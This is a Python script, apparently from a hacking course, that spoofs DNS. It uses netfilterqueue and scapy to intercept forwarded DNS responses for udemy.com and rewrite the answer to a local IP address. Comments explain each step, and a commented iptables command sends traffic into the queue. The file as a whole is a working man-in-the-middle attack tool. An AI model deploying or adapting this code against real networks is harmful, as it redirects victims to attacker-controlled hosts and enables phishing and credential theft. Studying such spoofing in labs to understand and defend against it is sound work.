#!/usr/bin/env python
import netfilterqueue
import scapy.all as scapy
import subprocess

def process_packet(packet):
    #RR - Resoucre Record(Response) QR-Question Record(Request)
    #method get_payload() gives all information that packets contain
    #we have to convert get_payload() method to a scapy
    #so we can use all stuff that scapy allows us. See layers,modify it fields etc..
    #qname means DNS of site (eg: bing.com)
    scapy_packet = scapy.IP(packet.get_payload())
    #if packet contains a dns response
    if scapy_packet.haslayer(scapy.DNSRR):
        #if that dns response is response to a website that we want to target
        qname = scapy_packet[scapy.DNSQR].qname
        if 'udemy.com' in qname.decode():
            print('[+] Spoofing target..')
            #creating our own ANSWER and fill it
            #rrname - response name(dns that target want to access) We have already captured that in qname
            #whenewr target wants to acces zsecurity.org we will spoof it rdata
            #rdata - IP returned as a requested dns
            answer = scapy.DNSRR(rrname=qname, rdata='10.0.2.15')
            #We want to access DNS answer field. As usually in scapy we access it that way:
            #That command spoof original packet to our custom
            scapy_packet[scapy.DNS].an = answer
            #we have to change ancound field
            #ancount - how many responses was sent. In our case we send only 1 response and change this field for 1
            scapy_packet[scapy.DNS].ancount = 1
            #IP and UDP layers contain fields that check if packet was changed.
            #This fields is len and chksum. All we have to do is just delete this fields and scapy will do all work for as
            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.UDP].len
            del scapy_packet[scapy.UDP].chksum
            #Last step is accept modifying packet, so now we actually have to give our modify packet to packet.accept() to send it
            packet.set_payload(bytes(scapy_packet))
    packet.accept()



#subprocess.call('iptables -I FORWARD -j NFQUEUE --queue-num 0', shell=True)
#instance of netfilterqueue object
queue = netfilterqueue.NetfilterQueue()
#bind, so we can have access to iptables queue
#process_packet is func that will be executed on each packet
#that will be trap in queue
#0 is because we named like that our queue in iptables
#iptables -I FORWARD -j NFQUEUE --queue-num 0
queue.bind(0, process_packet)
queue.run()